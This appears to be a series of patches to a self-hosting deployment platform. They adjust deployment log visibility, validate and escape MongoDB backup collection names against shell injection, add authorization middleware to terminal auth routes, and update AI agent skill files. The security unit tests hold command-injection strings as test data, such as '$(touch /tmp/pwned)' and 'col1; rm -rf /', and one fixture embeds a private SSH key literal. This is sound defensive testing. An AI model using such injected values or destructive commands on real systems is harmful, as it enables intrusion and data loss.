+++ b/app/Jobs/ApplicationDeploymentJob.php
@@ -783,7 +783,7 @@ private function deploy_docker_compose_buildpack()
try {
$this->execute_remote_command(
- [executeInDocker($this->deployment_uuid, "cd {$this->workdir} && {$start_command}"), 'hidden' => true],
+ [executeInDocker($this->deployment_uuid, "cd {$this->workdir} && {$start_command}"), 'hidden' => false, 'type' => 'stdout', 'command_hidden' => true],
);
} catch (\RuntimeException $e) {
if (str_contains($e->getMessage(), "matching `'") || str_contains($e->getMessage(), 'unexpected EOF')) {
@@ -801,7 +801,7 @@ private function deploy_docker_compose_buildpack()
$command .= " --env-file {$server_workdir}/.env";
$command .= " --project-directory {$server_workdir} -f {$server_workdir}{$this->docker_compose_location} up -d";
$this->execute_remote_command(
- ['command' => $command, 'hidden' => true],
+ ['command' => $command, 'hidden' => false, 'type' => 'stdout', 'command_hidden' => true],
);
}
} else {
@@ -818,11 +818,11 @@ private function deploy_docker_compose_buildpack()
$this->write_deployment_configurations();
if ($this->preserveRepository) {
$this->execute_remote_command(
- ['command' => "cd {$server_workdir} && {$start_command}", 'hidden' => true],
+ ['command' => "cd {$server_workdir} && {$start_command}", 'hidden' => false, 'type' => 'stdout', 'command_hidden' => true],
);
} else {
$this->execute_remote_command(
- [executeInDocker($this->deployment_uuid, "cd {$this->basedir} && {$start_command}"), 'hidden' => true],
+ [executeInDocker($this->deployment_uuid, "cd {$this->basedir} && {$start_command}"), 'hidden' => false, 'type' => 'stdout', 'command_hidden' => true],
);
}
} else {
@@ -834,14 +834,14 @@ private function deploy_docker_compose_buildpack()
$this->write_deployment_configurations();
$this->execute_remote_command(
- ['command' => $command, 'hidden' => true],
+ ['command' => $command, 'hidden' => false, 'type' => 'stdout', 'command_hidden' => true],
);
} else {
// Always use .env file
$command .= " --env-file {$this->workdir}/.env";
$command .= " --project-name {$this->application->uuid} --project-directory {$this->workdir} -f {$this->workdir}{$this->docker_compose_location} up -d";
$this->execute_remote_command(
- [executeInDocker($this->deployment_uuid, $command), 'hidden' => true],
+ [executeInDocker($this->deployment_uuid, $command), 'hidden' => false, 'type' => 'stdout', 'command_hidden' => true],
);
$this->write_deployment_configurations();
}
diff --git a/app/Traits/ExecuteRemoteCommand.php b/app/Traits/ExecuteRemoteCommand.php
index 72e0adde8..bb252148a 100644
--- a/app/Traits/ExecuteRemoteCommand.php
+++ b/app/Traits/ExecuteRemoteCommand.php
@@ -78,6 +78,7 @@ public function execute_remote_command(...$commands)
$customType = data_get($single_command, 'type');
$ignore_errors = data_get($single_command, 'ignore_errors', false);
$append = data_get($single_command, 'append', true);
+ $command_hidden = data_get($single_command, 'command_hidden', false);
$this->save = data_get($single_command, 'save');
if ($this->server->isNonRoot()) {
if (str($command)->startsWith('docker exec')) {
@@ -102,7 +103,7 @@ public function execute_remote_command(...$commands)
while ($attempt < $maxRetries && ! $commandExecuted) {
try {
- $this->executeCommandWithProcess($command, $hidden, $customType, $append, $ignore_errors);
+ $this->executeCommandWithProcess($command, $hidden, $customType, $append, $ignore_errors, $command_hidden);
$commandExecuted = true;
} catch (\RuntimeException|DeploymentException $e) {
$lastError = $e;
@@ -152,10 +153,14 @@ public function execute_remote_command(...$commands)
/**
* Execute the actual command with process handling
*/
- private function executeCommandWithProcess($command, $hidden, $customType, $append, $ignore_errors)
+ private function executeCommandWithProcess($command, $hidden, $customType, $append, $ignore_errors, $command_hidden = false)
{
+ if ($command_hidden && isset($this->application_deployment_queue)) {
+ $this->application_deployment_queue->addLogEntry('[CMD]: '.$this->redact_sensitive_info($command), hidden: true);
+ }
+
$remote_command = SshMultiplexingHelper::generateSshCommand($this->server, $command);
- $process = Process::timeout(config('constants.ssh.command_timeout'))->idleTimeout(3600)->start($remote_command, function (string $type, string $output) use ($command, $hidden, $customType, $append) {
+ $process = Process::timeout(config('constants.ssh.command_timeout'))->idleTimeout(3600)->start($remote_command, function (string $type, string $output) use ($command, $hidden, $customType, $append, $command_hidden) {
$output = str($output)->trim();
if ($output->startsWith('╔')) {
$output = "\n".$output;
@@ -165,9 +170,9 @@ private function executeCommandWithProcess($command, $hidden, $customType, $appe
$sanitized_output = sanitize_utf8_text($output);
$new_log_entry = [
- 'command' => $this->redact_sensitive_info($command),
+ 'command' => $command_hidden ? null : $this->redact_sensitive_info($command),
'output' => $this->redact_sensitive_info($sanitized_output),
- 'type' => $customType ?? $type === 'err' ? 'stderr' : 'stdout',
+ 'type' => $customType ?? ($type === 'err' ? 'stderr' : 'stdout'),
'timestamp' => Carbon::now('UTC'),
'hidden' => $hidden,
'batch' => static::$batch_counter,
From 99043600ee881fd8581185e7590604d9882382cd Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 16:52:06 +0100
Subject: [PATCH 037/118] fix(backup): validate MongoDB collection names in
backup input
Add validateDatabasesBackupInput() helper that properly parses all
database backup formats including MongoDB's "db:col1,col2|db2:col3"
and validates each component individually.
- Validate and escape collection names in DatabaseBackupJob
- Replace comma-only split in BackupEdit with format-aware validation
- Add input validation in API create_backup and update_backup endpoints
- Add unit tests for collection name and multi-format validation
Co-Authored-By: Claude Opus 4.6
---
.../Controllers/Api/DatabasesController.php | 24 ++++++++
app/Jobs/DatabaseBackupJob.php | 12 +++-
app/Livewire/Project/Database/BackupEdit.php | 16 +----
bootstrap/helpers/shared.php | 53 ++++++++++++++++
tests/Unit/DatabaseBackupSecurityTest.php | 61 +++++++++++++++++++
5 files changed, 150 insertions(+), 16 deletions(-)
diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php
index 700055fcc..44b66e57e 100644
--- a/app/Http/Controllers/Api/DatabasesController.php
+++ b/app/Http/Controllers/Api/DatabasesController.php
@@ -792,6 +792,18 @@ public function create_backup(Request $request)
}
}
+ // Validate databases_to_backup input
+ if (! empty($backupData['databases_to_backup'])) {
+ try {
+ validateDatabasesBackupInput($backupData['databases_to_backup']);
+ } catch (\Exception $e) {
+ return response()->json([
+ 'message' => 'Validation failed.',
+ 'errors' => ['databases_to_backup' => [$e->getMessage()]],
+ ], 422);
+ }
+ }
+
// Add required fields
$backupData['database_id'] = $database->id;
$backupData['database_type'] = $database->getMorphClass();
@@ -997,6 +1009,18 @@ public function update_backup(Request $request)
unset($backupData['s3_storage_uuid']);
}
+ // Validate databases_to_backup input
+ if (! empty($backupData['databases_to_backup'])) {
+ try {
+ validateDatabasesBackupInput($backupData['databases_to_backup']);
+ } catch (\Exception $e) {
+ return response()->json([
+ 'message' => 'Validation failed.',
+ 'errors' => ['databases_to_backup' => [$e->getMessage()]],
+ ], 422);
+ }
+ }
+
$backupConfig->update($backupData);
if ($request->backup_now) {
diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php
index 041d31bad..d86986fad 100644
--- a/app/Jobs/DatabaseBackupJob.php
+++ b/app/Jobs/DatabaseBackupJob.php
@@ -524,10 +524,18 @@ private function backup_standalone_mongodb(string $databaseWithCollections): voi
$commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $escapedDatabaseName --gzip --archive > $this->backup_location";
}
} else {
+ // Validate and escape each collection name
+ $escapedCollections = $collectionsToExclude->map(function ($collection) {
+ $collection = trim($collection);
+ validateShellSafePath($collection, 'collection name');
+
+ return escapeshellarg($collection);
+ });
+
if (str($this->database->image)->startsWith('mongo:4')) {
- $commands[] = "docker exec $this->container_name mongodump --uri=$url --gzip --excludeCollection ".$collectionsToExclude->implode(' --excludeCollection ')." --archive > $this->backup_location";
+ $commands[] = "docker exec $this->container_name mongodump --uri=$url --gzip --excludeCollection ".$escapedCollections->implode(' --excludeCollection ')." --archive > $this->backup_location";
} else {
- $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $escapedDatabaseName --gzip --excludeCollection ".$collectionsToExclude->implode(' --excludeCollection ')." --archive > $this->backup_location";
+ $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $escapedDatabaseName --gzip --excludeCollection ".$escapedCollections->implode(' --excludeCollection ')." --archive > $this->backup_location";
}
}
}
diff --git a/app/Livewire/Project/Database/BackupEdit.php b/app/Livewire/Project/Database/BackupEdit.php
index c24e2a3f1..0fff2bd03 100644
--- a/app/Livewire/Project/Database/BackupEdit.php
+++ b/app/Livewire/Project/Database/BackupEdit.php
@@ -105,21 +105,9 @@ public function syncData(bool $toModel = false)
$this->backup->s3_storage_id = $this->s3StorageId;
// Validate databases_to_backup to prevent command injection
+ // Handles all formats including MongoDB's "db:col1,col2|db2:col3"
if (filled($this->databasesToBackup)) {
- $databases = str($this->databasesToBackup)->explode(',');
- foreach ($databases as $index => $db) {
- $dbName = trim($db);
- try {
- validateShellSafePath($dbName, 'database name');
- } catch (\Exception $e) {
- // Provide specific error message indicating which database failed validation
- $position = $index + 1;
- throw new \Exception(
- "Database #{$position} ('{$dbName}') validation failed: ".
- $e->getMessage()
- );
- }
- }
+ validateDatabasesBackupInput($this->databasesToBackup);
}
$this->backup->databases_to_backup = $this->databasesToBackup;
diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php
index a8cffcaff..84472a07e 100644
--- a/bootstrap/helpers/shared.php
+++ b/bootstrap/helpers/shared.php
@@ -148,6 +148,59 @@ function validateShellSafePath(string $input, string $context = 'path'): string
return $input;
}
+/**
+ * Validate that a databases_to_backup input string is safe from command injection.
+ *
+ * Supports all database formats:
+ * - PostgreSQL/MySQL/MariaDB: "db1,db2,db3"
+ * - MongoDB: "db1:col1,col2|db2:col3,col4"
+ *
+ * Validates each database name AND collection name individually against shell metacharacters.
+ *
+ * @param string $input The databases_to_backup string
+ * @return string The validated input
+ *
+ * @throws \Exception If any component contains dangerous characters
+ */
+function validateDatabasesBackupInput(string $input): string
+{
+ // Split by pipe (MongoDB multi-db separator)
+ $databaseEntries = explode('|', $input);
+
+ foreach ($databaseEntries as $entry) {
+ $entry = trim($entry);
+ if ($entry === '' || $entry === 'all' || $entry === '*') {
+ continue;
+ }
+
+ if (str_contains($entry, ':')) {
+ // MongoDB format: dbname:collection1,collection2
+ $databaseName = str($entry)->before(':')->value();
+ $collections = str($entry)->after(':')->explode(',');
+
+ validateShellSafePath($databaseName, 'database name');
+
+ foreach ($collections as $collection) {
+ $collection = trim($collection);
+ if ($collection !== '') {
+ validateShellSafePath($collection, 'collection name');
+ }
+ }
+ } else {
+ // Simple format: just a database name (may contain commas for non-Mongo)
+ $databases = explode(',', $entry);
+ foreach ($databases as $db) {
+ $db = trim($db);
+ if ($db !== '' && $db !== 'all' && $db !== '*') {
+ validateShellSafePath($db, 'database name');
+ }
+ }
+ }
+ }
+
+ return $input;
+}
+
/**
* Validate that a string is a safe git ref (commit SHA, branch name, tag, or HEAD).
*
diff --git a/tests/Unit/DatabaseBackupSecurityTest.php b/tests/Unit/DatabaseBackupSecurityTest.php
index 6fb0bb4b9..90940c174 100644
--- a/tests/Unit/DatabaseBackupSecurityTest.php
+++ b/tests/Unit/DatabaseBackupSecurityTest.php
@@ -81,3 +81,64 @@
expect(fn () => validateShellSafePath('test123', 'database name'))
->not->toThrow(Exception::class);
});
+
+// --- MongoDB collection name validation tests ---
+
+test('mongodb collection name rejects command substitution injection', function () {
+ expect(fn () => validateShellSafePath('$(touch /tmp/pwned)', 'collection name'))
+ ->toThrow(Exception::class);
+});
+
+test('mongodb collection name rejects backtick injection', function () {
+ expect(fn () => validateShellSafePath('`id > /tmp/pwned`', 'collection name'))
+ ->toThrow(Exception::class);
+});
+
+test('mongodb collection name rejects semicolon injection', function () {
+ expect(fn () => validateShellSafePath('col1; rm -rf /', 'collection name'))
+ ->toThrow(Exception::class);
+});
+
+test('mongodb collection name rejects ampersand injection', function () {
+ expect(fn () => validateShellSafePath('col1 & whoami', 'collection name'))
+ ->toThrow(Exception::class);
+});
+
+test('mongodb collection name rejects redirect injection', function () {
+ expect(fn () => validateShellSafePath('col1 > /tmp/pwned', 'collection name'))
+ ->toThrow(Exception::class);
+});
+
+test('validateDatabasesBackupInput validates mongodb format with collection names', function () {
+ // Valid MongoDB formats should pass
+ expect(fn () => validateDatabasesBackupInput('mydb'))
+ ->not->toThrow(Exception::class);
+
+ expect(fn () => validateDatabasesBackupInput('mydb:col1,col2'))
+ ->not->toThrow(Exception::class);
+
+ expect(fn () => validateDatabasesBackupInput('db1:col1,col2|db2:col3'))
+ ->not->toThrow(Exception::class);
+
+ expect(fn () => validateDatabasesBackupInput('all'))
+ ->not->toThrow(Exception::class);
+});
+
+test('validateDatabasesBackupInput rejects injection in collection names', function () {
+ // Command substitution in collection name
+ expect(fn () => validateDatabasesBackupInput('mydb:$(touch /tmp/pwned)'))
+ ->toThrow(Exception::class);
+
+ // Backtick injection in collection name
+ expect(fn () => validateDatabasesBackupInput('mydb:`id`'))
+ ->toThrow(Exception::class);
+
+ // Semicolon in collection name
+ expect(fn () => validateDatabasesBackupInput('mydb:col1;rm -rf /'))
+ ->toThrow(Exception::class);
+});
+
+test('validateDatabasesBackupInput rejects injection in database name within mongo format', function () {
+ expect(fn () => validateDatabasesBackupInput('$(whoami):col1,col2'))
+ ->toThrow(Exception::class);
+});
From 847166a3f89b7c80972fa0d2e5c754976f95b6ad Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 16:56:37 +0100
Subject: [PATCH 038/118] fix(terminal): apply authorization middleware to
terminal bootstrap routes
Apply the existing `can.access.terminal` middleware to `POST /terminal/auth`
and `POST /terminal/auth/ips` routes, consistent with the `GET /terminal` route.
Adds regression tests covering unauthenticated, member, admin, and owner roles.
Co-Authored-By: Claude Opus 4.6
---
routes/web.php | 4 +-
.../TerminalAuthRoutesAuthorizationTest.php | 118 ++++++++++++++++++
2 files changed, 120 insertions(+), 2 deletions(-)
create mode 100644 tests/Feature/TerminalAuthRoutesAuthorizationTest.php
diff --git a/routes/web.php b/routes/web.php
index 27763f121..4154fefab 100644
--- a/routes/web.php
+++ b/routes/web.php
@@ -164,7 +164,7 @@
}
return response()->json(['authenticated' => false], 401);
- })->name('terminal.auth');
+ })->name('terminal.auth')->middleware('can.access.terminal');
Route::post('/terminal/auth/ips', function () {
if (auth()->check()) {
@@ -189,7 +189,7 @@
}
return response()->json(['ipAddresses' => []], 401);
- })->name('terminal.auth.ips');
+ })->name('terminal.auth.ips')->middleware('can.access.terminal');
Route::prefix('invitations')->group(function () {
Route::get('/{uuid}', [Controller::class, 'acceptInvitation'])->name('team.invitation.accept');
diff --git a/tests/Feature/TerminalAuthRoutesAuthorizationTest.php b/tests/Feature/TerminalAuthRoutesAuthorizationTest.php
new file mode 100644
index 000000000..858cc7101
--- /dev/null
+++ b/tests/Feature/TerminalAuthRoutesAuthorizationTest.php
@@ -0,0 +1,118 @@
+set('app.env', 'local');
+
+ $this->team = Team::factory()->create();
+
+ $this->privateKey = PrivateKey::create([
+ 'name' => 'Test Key',
+ 'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
+b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
+QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
+hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
+AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
+uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
+-----END OPENSSH PRIVATE KEY-----',
+ 'team_id' => $this->team->id,
+ ]);
+
+ Server::factory()->create([
+ 'name' => 'Test Server',
+ 'ip' => 'coolify-testing-host',
+ 'team_id' => $this->team->id,
+ 'private_key_id' => $this->privateKey->id,
+ ]);
+});
+
+// --- POST /terminal/auth ---
+
+it('denies unauthenticated users on POST /terminal/auth', function () {
+ $this->postJson('/terminal/auth')
+ ->assertStatus(401);
+});
+
+it('denies non-admin team members on POST /terminal/auth', function () {
+ $member = User::factory()->create();
+ $member->teams()->attach($this->team, ['role' => 'member']);
+
+ $this->actingAs($member);
+ session(['currentTeam' => $this->team]);
+
+ $this->postJson('/terminal/auth')
+ ->assertStatus(403);
+});
+
+it('allows team owners on POST /terminal/auth', function () {
+ $owner = User::factory()->create();
+ $owner->teams()->attach($this->team, ['role' => 'owner']);
+
+ $this->actingAs($owner);
+ session(['currentTeam' => $this->team]);
+
+ $this->postJson('/terminal/auth')
+ ->assertStatus(200)
+ ->assertJson(['authenticated' => true]);
+});
+
+it('allows team admins on POST /terminal/auth', function () {
+ $admin = User::factory()->create();
+ $admin->teams()->attach($this->team, ['role' => 'admin']);
+
+ $this->actingAs($admin);
+ session(['currentTeam' => $this->team]);
+
+ $this->postJson('/terminal/auth')
+ ->assertStatus(200)
+ ->assertJson(['authenticated' => true]);
+});
+
+// --- POST /terminal/auth/ips ---
+
+it('denies unauthenticated users on POST /terminal/auth/ips', function () {
+ $this->postJson('/terminal/auth/ips')
+ ->assertStatus(401);
+});
+
+it('denies non-admin team members on POST /terminal/auth/ips', function () {
+ $member = User::factory()->create();
+ $member->teams()->attach($this->team, ['role' => 'member']);
+
+ $this->actingAs($member);
+ session(['currentTeam' => $this->team]);
+
+ $this->postJson('/terminal/auth/ips')
+ ->assertStatus(403);
+});
+
+it('allows team owners on POST /terminal/auth/ips', function () {
+ $owner = User::factory()->create();
+ $owner->teams()->attach($this->team, ['role' => 'owner']);
+
+ $this->actingAs($owner);
+ session(['currentTeam' => $this->team]);
+
+ $this->postJson('/terminal/auth/ips')
+ ->assertStatus(200)
+ ->assertJsonStructure(['ipAddresses']);
+});
+
+it('allows team admins on POST /terminal/auth/ips', function () {
+ $admin = User::factory()->create();
+ $admin->teams()->attach($this->team, ['role' => 'admin']);
+
+ $this->actingAs($admin);
+ session(['currentTeam' => $this->team]);
+
+ $this->postJson('/terminal/auth/ips')
+ ->assertStatus(200)
+ ->assertJsonStructure(['ipAddresses']);
+});
From 0a621bb90ed67420aa407e0b0b01110c73b97a9e Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 19:21:53 +0100
Subject: [PATCH 039/118] update laravel boost
---
.../skills/developing-with-fortify/SKILL.md | 116 ---
.agents/skills/livewire-development/SKILL.md | 54 +-
.agents/skills/pest-testing/SKILL.md | 61 +-
.../skills/tailwindcss-development/SKILL.md | 49 +-
.../skills/developing-with-fortify/SKILL.md | 116 ---
.claude/skills/livewire-development/SKILL.md | 54 +-
.claude/skills/pest-testing/SKILL.md | 232 ++---
.../skills/tailwindcss-development/SKILL.md | 49 +-
.../skills/developing-with-fortify/SKILL.md | 116 ---
.cursor/skills/livewire-development/SKILL.md | 54 +-
.cursor/skills/pest-testing/SKILL.md | 61 +-
.../skills/tailwindcss-development/SKILL.md | 49 +-
AGENTS.md | 169 ++--
CLAUDE.md | 218 ++---
boost.json | 11 +-
composer.lock | 836 +++++++++---------
16 files changed, 832 insertions(+), 1413 deletions(-)
delete mode 100644 .agents/skills/developing-with-fortify/SKILL.md
delete mode 100644 .claude/skills/developing-with-fortify/SKILL.md
delete mode 100644 .cursor/skills/developing-with-fortify/SKILL.md
diff --git a/.agents/skills/developing-with-fortify/SKILL.md b/.agents/skills/developing-with-fortify/SKILL.md
deleted file mode 100644
index 2ff71a4b4..000000000
--- a/.agents/skills/developing-with-fortify/SKILL.md
+++ /dev/null
@@ -1,116 +0,0 @@
----
-name: developing-with-fortify
-description: Laravel Fortify headless authentication backend development. Activate when implementing authentication features including login, registration, password reset, email verification, two-factor authentication (2FA/TOTP), profile updates, headless auth, authentication scaffolding, or auth guards in Laravel applications.
----
-
-# Laravel Fortify Development
-
-Fortify is a headless authentication backend that provides authentication routes and controllers for Laravel applications.
-
-## Documentation
-
-Use `search-docs` for detailed Laravel Fortify patterns and documentation.
-
-## Usage
-
-- **Routes**: Use `list-routes` with `only_vendor: true` and `action: "Fortify"` to see all registered endpoints
-- **Actions**: Check `app/Actions/Fortify/` for customizable business logic (user creation, password validation, etc.)
-- **Config**: See `config/fortify.php` for all options including features, guards, rate limiters, and username field
-- **Contracts**: Look in `Laravel\Fortify\Contracts\` for overridable response classes (`LoginResponse`, `LogoutResponse`, etc.)
-- **Views**: All view callbacks are set in `FortifyServiceProvider::boot()` using `Fortify::loginView()`, `Fortify::registerView()`, etc.
-
-## Available Features
-
-Enable in `config/fortify.php` features array:
-
-- `Features::registration()` - User registration
-- `Features::resetPasswords()` - Password reset via email
-- `Features::emailVerification()` - Requires User to implement `MustVerifyEmail`
-- `Features::updateProfileInformation()` - Profile updates
-- `Features::updatePasswords()` - Password changes
-- `Features::twoFactorAuthentication()` - 2FA with QR codes and recovery codes
-
-> Use `search-docs` for feature configuration options and customization patterns.
-
-## Setup Workflows
-
-### Two-Factor Authentication Setup
-
-```
-- [ ] Add TwoFactorAuthenticatable trait to User model
-- [ ] Enable feature in config/fortify.php
-- [ ] Run migrations for 2FA columns
-- [ ] Set up view callbacks in FortifyServiceProvider
-- [ ] Create 2FA management UI
-- [ ] Test QR code and recovery codes
-```
-
-> Use `search-docs` for TOTP implementation and recovery code handling patterns.
-
-### Email Verification Setup
-
-```
-- [ ] Enable emailVerification feature in config
-- [ ] Implement MustVerifyEmail interface on User model
-- [ ] Set up verifyEmailView callback
-- [ ] Add verified middleware to protected routes
-- [ ] Test verification email flow
-```
-
-> Use `search-docs` for MustVerifyEmail implementation patterns.
-
-### Password Reset Setup
-
-```
-- [ ] Enable resetPasswords feature in config
-- [ ] Set up requestPasswordResetLinkView callback
-- [ ] Set up resetPasswordView callback
-- [ ] Define password.reset named route (if views disabled)
-- [ ] Test reset email and link flow
-```
-
-> Use `search-docs` for custom password reset flow patterns.
-
-### SPA Authentication Setup
-
-```
-- [ ] Set 'views' => false in config/fortify.php
-- [ ] Install and configure Laravel Sanctum
-- [ ] Use 'web' guard in fortify config
-- [ ] Set up CSRF token handling
-- [ ] Test XHR authentication flows
-```
-
-> Use `search-docs` for integration and SPA authentication patterns.
-
-## Best Practices
-
-### Custom Authentication Logic
-
-Override authentication behavior using `Fortify::authenticateUsing()` for custom user retrieval or `Fortify::authenticateThrough()` to customize the authentication pipeline. Override response contracts in `AppServiceProvider` for custom redirects.
-
-### Registration Customization
-
-Modify `app/Actions/Fortify/CreateNewUser.php` to customize user creation logic, validation rules, and additional fields.
-
-### Rate Limiting
-
-Configure via `fortify.limiters.login` in config. Default configuration throttles by username + IP combination.
-
-## Key Endpoints
-
-| Feature | Method | Endpoint |
-|------------------------|----------|---------------------------------------------|
-| Login | POST | `/login` |
-| Logout | POST | `/logout` |
-| Register | POST | `/register` |
-| Password Reset Request | POST | `/forgot-password` |
-| Password Reset | POST | `/reset-password` |
-| Email Verify Notice | GET | `/email/verify` |
-| Resend Verification | POST | `/email/verification-notification` |
-| Password Confirm | POST | `/user/confirm-password` |
-| Enable 2FA | POST | `/user/two-factor-authentication` |
-| Confirm 2FA | POST | `/user/confirmed-two-factor-authentication` |
-| 2FA Challenge | POST | `/two-factor-challenge` |
-| Get QR Code | GET | `/user/two-factor-qr-code` |
-| Recovery Codes | GET/POST | `/user/two-factor-recovery-codes` |
\ No newline at end of file
diff --git a/.agents/skills/livewire-development/SKILL.md b/.agents/skills/livewire-development/SKILL.md
index 755d20713..70ecd57d4 100644
--- a/.agents/skills/livewire-development/SKILL.md
+++ b/.agents/skills/livewire-development/SKILL.md
@@ -1,24 +1,13 @@
---
name: livewire-development
-description: >-
- Develops reactive Livewire 3 components. Activates when creating, updating, or modifying
- Livewire components; working with wire:model, wire:click, wire:loading, or any wire: directives;
- adding real-time updates, loading states, or reactivity; debugging component behavior;
- writing Livewire tests; or when the user mentions Livewire, component, counter, or reactive UI.
+description: "Use for any task or question involving Livewire. Activate if user mentions Livewire, wire: directives, or Livewire-specific concepts like wire:model, wire:click, invoke this skill. Covers building new components, debugging reactivity issues, real-time form validation, loading states, migrating from Livewire 2 to 3, converting component formats (SFC/MFC/class-based), and performance optimization. Do not use for non-Livewire reactive UI (React, Vue, Alpine-only, Inertia.js) or standard Laravel forms without Livewire."
+license: MIT
+metadata:
+ author: laravel
---
# Livewire Development
-## When to Apply
-
-Activate this skill when:
-- Creating new Livewire components
-- Modifying existing component state or behavior
-- Debugging reactivity or lifecycle issues
-- Writing Livewire component tests
-- Adding Alpine.js interactivity to components
-- Working with wire: directives
-
## Documentation
Use `search-docs` for detailed Livewire 3 patterns and documentation.
@@ -62,33 +51,31 @@ ### Component Structure
### Using Keys in Loops
-
-
+
+```blade
@foreach ($items as $item)
{{ $item->name }}
@endforeach
-
-
+```
### Lifecycle Hooks
Prefer lifecycle hooks like `mount()`, `updatedFoo()` for initialization and reactive side effects:
-
-
+
+```php
public function mount(User $user) { $this->user = $user; }
public function updatedSearch() { $this->resetPage(); }
-
-
+```
## JavaScript Hooks
You can listen for `livewire:init` to hook into Livewire initialization:
-
-
+
+```js
document.addEventListener('livewire:init', function () {
Livewire.hook('request', ({ fail }) => {
if (fail && fail.status === 419) {
@@ -100,28 +87,25 @@ ## JavaScript Hooks
console.error(message);
});
});
-
-
+```
## Testing
-
-
+
+```php
Livewire::test(Counter::class)
->assertSet('count', 0)
->call('increment')
->assertSet('count', 1)
->assertSee(1)
->assertStatus(200);
+```
-
-
-
-
+
+```php
$this->get('/posts/create')
->assertSeeLivewire(CreatePost::class);
-
-
+```
## Common Pitfalls
diff --git a/.agents/skills/pest-testing/SKILL.md b/.agents/skills/pest-testing/SKILL.md
index 67455e7e6..ba774e71b 100644
--- a/.agents/skills/pest-testing/SKILL.md
+++ b/.agents/skills/pest-testing/SKILL.md
@@ -1,24 +1,13 @@
---
name: pest-testing
-description: >-
- Tests applications using the Pest 4 PHP framework. Activates when writing tests, creating unit or feature
- tests, adding assertions, testing Livewire components, browser testing, debugging test failures,
- working with datasets or mocking; or when the user mentions test, spec, TDD, expects, assertion,
- coverage, or needs to verify functionality works.
+description: "Use this skill for Pest PHP testing in Laravel projects only. Trigger whenever any test is being written, edited, fixed, or refactored — including fixing tests that broke after a code change, adding assertions, converting PHPUnit to Pest, adding datasets, and TDD workflows. Always activate when the user asks how to write something in Pest, mentions test files or directories (tests/Feature, tests/Unit, tests/Browser), or needs browser testing, smoke testing multiple pages for JS errors, or architecture tests. Covers: it()/expect() syntax, datasets, mocking, browser testing (visit/click/fill), smoke testing, arch(), Livewire component tests, RefreshDatabase, and all Pest 4 features. Do not use for factories, seeders, migrations, controllers, models, or non-test PHP code."
+license: MIT
+metadata:
+ author: laravel
---
# Pest Testing 4
-## When to Apply
-
-Activate this skill when:
-
-- Creating new tests (unit, feature, or browser)
-- Modifying existing tests
-- Debugging test failures
-- Working with browser testing or smoke testing
-- Writing architecture tests or visual regression tests
-
## Documentation
Use `search-docs` for detailed Pest 4 patterns and documentation.
@@ -37,13 +26,12 @@ ### Test Organization
### Basic Test Structure
-
-
+
+```php
it('is true', function () {
expect(true)->toBeTrue();
});
-
-
+```
### Running Tests
@@ -55,13 +43,12 @@ ## Assertions
Use specific assertions (`assertSuccessful()`, `assertNotFound()`) instead of `assertStatus()`:
-
-
+
+```php
it('returns all', function () {
$this->postJson('/api/docs', [])->assertSuccessful();
});
-
-
+```
| Use | Instead of |
|-----|------------|
@@ -77,16 +64,15 @@ ## Datasets
Use datasets for repetitive tests (validation rules, etc.):
-
-
+
+```php
it('has emails', function (string $email) {
expect($email)->not->toBeEmpty();
})->with([
'james' => 'james@laravel.com',
'taylor' => 'taylor@laravel.com',
]);
-
-
+```
## Pest 4 Features
@@ -111,8 +97,8 @@ ### Browser Test Example
- Switch color schemes (light/dark mode) when appropriate.
- Take screenshots or pause tests for debugging.
-
-
+
+```php
it('may reset the password', function () {
Notification::fake();
@@ -129,20 +115,18 @@ ### Browser Test Example
Notification::assertSent(ResetPassword::class);
});
-
-
+```
### Smoke Testing
Quickly validate multiple pages have no JavaScript errors:
-
-
+
+```php
$pages = visit(['/', '/about', '/contact']);
$pages->assertNoJavaScriptErrors()->assertNoConsoleLogs();
-
-
+```
### Visual Regression Testing
@@ -156,14 +140,13 @@ ### Architecture Testing
Pest 4 includes architecture testing (from Pest 3):
-
-
+
+```php
arch('controllers')
->expect('App\Http\Controllers')
->toExtendNothing()
->toHaveSuffix('Controller');
-
-
+```
## Common Pitfalls
diff --git a/.agents/skills/tailwindcss-development/SKILL.md b/.agents/skills/tailwindcss-development/SKILL.md
index 12bd896bb..7c8e295e8 100644
--- a/.agents/skills/tailwindcss-development/SKILL.md
+++ b/.agents/skills/tailwindcss-development/SKILL.md
@@ -1,24 +1,13 @@
---
name: tailwindcss-development
-description: >-
- Styles applications using Tailwind CSS v4 utilities. Activates when adding styles, restyling components,
- working with gradients, spacing, layout, flex, grid, responsive design, dark mode, colors,
- typography, or borders; or when the user mentions CSS, styling, classes, Tailwind, restyle,
- hero section, cards, buttons, or any visual/UI changes.
+description: "Always invoke when the user's message includes 'tailwind' in any form. Also invoke for: building responsive grid layouts (multi-column card grids, product grids), flex/grid page structures (dashboards with sidebars, fixed topbars, mobile-toggle navs), styling UI components (cards, tables, navbars, pricing sections, forms, inputs, badges), adding dark mode variants, fixing spacing or typography, and Tailwind v3/v4 work. The core use case: writing or fixing Tailwind utility classes in HTML templates (Blade, JSX, Vue). Skip for backend PHP logic, database queries, API routes, JavaScript with no HTML/CSS component, CSS file audits, build tool configuration, and vanilla CSS."
+license: MIT
